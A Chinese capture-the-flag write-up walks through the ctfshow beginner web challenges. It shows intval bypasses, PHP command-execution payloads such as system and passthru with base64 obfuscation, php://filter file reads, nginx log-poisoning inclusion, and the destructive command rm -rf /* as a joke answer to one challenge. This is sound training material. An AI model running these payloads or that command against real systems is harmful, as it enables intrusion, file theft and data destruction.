ctfshow-web_萌新
今天做的是ctfshow中的萌新板块中的web类的题目,用这篇文章记录一下wp
web01
打开靶机,查看源码
分析一下这个代码,首先提示了id要等于1000会出现flag,但是代码中也写到了如果id大于999就会输出id error
那么就要考虑一下绕过intval()函数
查阅了一下网上的资料
intval函数特性:intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0;
如果字符串其中有数字,则返回数字;
如果开头无法被转换,则返回0;
所以有以下几种方式绕过:
1.单引号绕过: /?id=’1000’
2.相乘绕过: /?id=100*10
3.十六进制绕过: /?id=0x3e8
4.二进制绕过: /?id=0b1111101000
5.逻辑或绕过: /?id=999 or id=1000
6.二次去反绕过: /?id=~~1000
等等
绕过即可得到flag。
web02
相比于上一题加了一些过滤,如or
我用的单引号绕过
web03
过滤了更多东西,把十六进制绕过给过滤了
依旧用单引号绕过
web04
可以看到再次增加过滤的东西
可以看到十六进制和乘号被过滤了,其他的没有被过滤
我们依旧采用单引号进行绕过
web05
这次我们看到把单引号和双引号也给过滤了
但是没有过滤二进制,那我们这次用二进制绕过
web06
继续进行查看发现还是继续增加过滤
但是依旧没有过滤二进制,那么我们继续用二进制进行绕过
web07
继续进行查看,这次过滤了~.
那么二次去反就无法使用了,但是依旧还是没有过滤二进制 (阿呆也是够马虎的)
web08
结束了阿呆传奇,我们迎来了这个题
首先查看源代码
要找这个key,我也不知道这个Key是哪来的
查看了别人的wp发现这是一个梗题
阿呆的一系列操作就是删库跑路了
所以是rm -rf /*
这样就得到了flag
web09
我的天,又是你阿呆!
首先来看代码
这是一道命令执行题
看到有system
直接/?c=system(‘cat config.php’);
得到flag
web10
首先观察代码,发现相较于上一题做了过滤
有两种方法
方法一是使用passthru函数
/?c=passthru(‘cat config.php’);
方法二是函数拼接
/?c=$a=’sys’;$b=’tem’;$d=$a.$b;$d(‘cat config.php’);
常见的命令执行函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
这样就可以得到flag
web11
观察代码,这次是将cat给过滤了
但是还有很多显示文本的命令
cat命令用于连接文件并打印到标准输出设备上。tac将文件全部内容从尾到头反向连续输出到标准输出(屏幕)上
more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示
less 与 more 类似,less 可以随意浏览文件,支持翻页和搜索,支持向上翻页和向下翻页。
head 命令可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。
tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。
head 命令可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。
sort 命令用于将文本文件内容加以排序。
nl命令在linux系统中用来计算文件中行号
uniq 可检查文本文件中重复出现的行列
Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句
web12
这次过滤的更多了,把 php , config , . ,也给过滤了
那我们把config.php进行base64编码绕过
?c=$a=base64_decode(%22c3lzdGVt%22);$b=base64_decode(%22Y2F0IGNvbmZpZy5waHA=%22);$a($b);
这样便得到了flag
web13
还是继续增加过滤,这次将 file 和 ; 给过滤了
?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?%3E
此处涉及到php中反引号的作用:
执行其内的语句并返回值
这样得到flag
web14
这次是增加了括号
?c=include$_GET[‘a’]?>&a=php://filter/read=convert.base64-encode/resource=config.php
这样进行绕过
得到了一串base64编码的文本
解码之后得到flag
web15
这次对等号,问号和星号进行了过滤,反而分号可以用了
用反引号接收一个参数a,然后a中是所需执行的语句
?c=echo $_GET[a]
;&a=cat config.php
这样得到flag
web16
这道题的代码显示,ctfshow加上参数c的md5值等于 a6f57ae38a22448c2f07f3f95f49c84e
进行md5解密
这个结果去掉ctfshow就是我们要传入的参数c了
得到flag
web17
过滤了php,首先考虑了data伪协议,但是经过尝试之后发现不行
看了其他大佬的wp之后,知道了是一道日志包含题,抓包之后查看得知服务器为Ubuntu(由nginx搭建的网站,nginx的日志文件默认地址在var/log/nginx/access.log和/var/log/nginx/error.log)
那我们创建payload:
/?c=/var/log/nginx/access.log
然后用bp抓包,在UA处增加
这样我们得到了36d.php和index.php两个文件名
接下来再在UA处
这样我们就得到了flag
注意,日志包含类的题目不能出现语法错误,不然就会一直出现相同的报错,必须重开容器了。
接下来的web18-web21都可以这样解决